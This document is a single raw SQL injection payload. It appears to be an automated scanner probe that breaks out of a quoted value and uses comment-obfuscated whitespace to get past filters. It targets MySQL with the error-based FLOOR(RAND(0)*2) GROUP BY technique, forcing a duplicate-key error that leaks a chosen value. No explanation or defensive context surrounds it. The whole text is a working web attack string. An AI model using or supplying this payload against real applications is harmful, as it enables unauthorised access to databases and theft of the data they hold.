1'),(SELECT/**/5031/**/FROM/**/(SELECT/**/ROW(5031,6883)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5031=5031,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7569/**/UNION/**/SELECT/**/3732/**/UNION/**/SELECT/**/8205/**/UNION/**/SELECT/**/2689)a/**/GROUP/**/BY/**/x))s)-- -